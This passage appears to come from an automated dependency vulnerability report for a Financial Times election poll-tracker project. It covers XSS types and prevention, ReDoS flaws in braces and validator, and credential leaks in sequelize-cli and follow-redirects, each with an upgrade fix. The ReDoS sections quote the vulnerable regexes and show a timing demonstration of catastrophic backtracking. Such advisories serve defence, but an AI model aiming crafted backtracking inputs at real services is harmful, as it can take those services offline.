Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: braces
  • Introduced through: exhibit-plugin-browserify@0.10.1, sequelize-cli@2.8.0 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-browserify@0.10.1 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 findup-sync@1.0.0 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-directory@0.10.1 sane@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to nunjucks@3.1.3.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 19th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade braces to version 2.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@4.17.2.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\s*data:([a-z]+\/[a-z0-9\-\+]+(;[a-z\-]+=[a-z0-9\-]+)?)?(;base64)?,[a-z0-9!\$&',\(\)\*\+,;=\-\._~:@\/\?%\s]*\s*$) in order to validate Data URIs. This can cause an impact of about 10 seconds matching time for data 70K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 18th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 9.4.1 or higher.

References

low severity

Sensitive Data Exposure

  • Vulnerable module: sequelize-cli
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0
    Remediation: Upgrade to sequelize-cli@5.5.0.

Overview

sequelize-cli is a Command Line Interface (CLI) package version of the Sequelize Object Relational Mapping (ORM) platform.

Affected versions of this package are vulnerable to Sensitive Data Exposure. The filteredUrl function in sequelize-cli does not escape the config.password value, which allows sensitive user information such as passwords to be stored in log files.

Remediation

Upgrade sequelize-cli to version 5.5.0 or higher.

References

low severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3 follow-redirects@1.0.0
    Remediation: Upgrade to axios@0.16.1.

Overview

Affected versions of this package are vulnerable to Information Exposure due a leakage of the Authorization header from the same hostname during HTTPS to HTTP redirection. An attacker who can listen in on the wire (or perform a MITM attack) will be able to receive the Authorization header due to the usage of the insecure HTTP protocol which does not verify the hostname the request is sending to.

Remediation

Upgrade follow-redirects to version 1.14.8 or higher.

References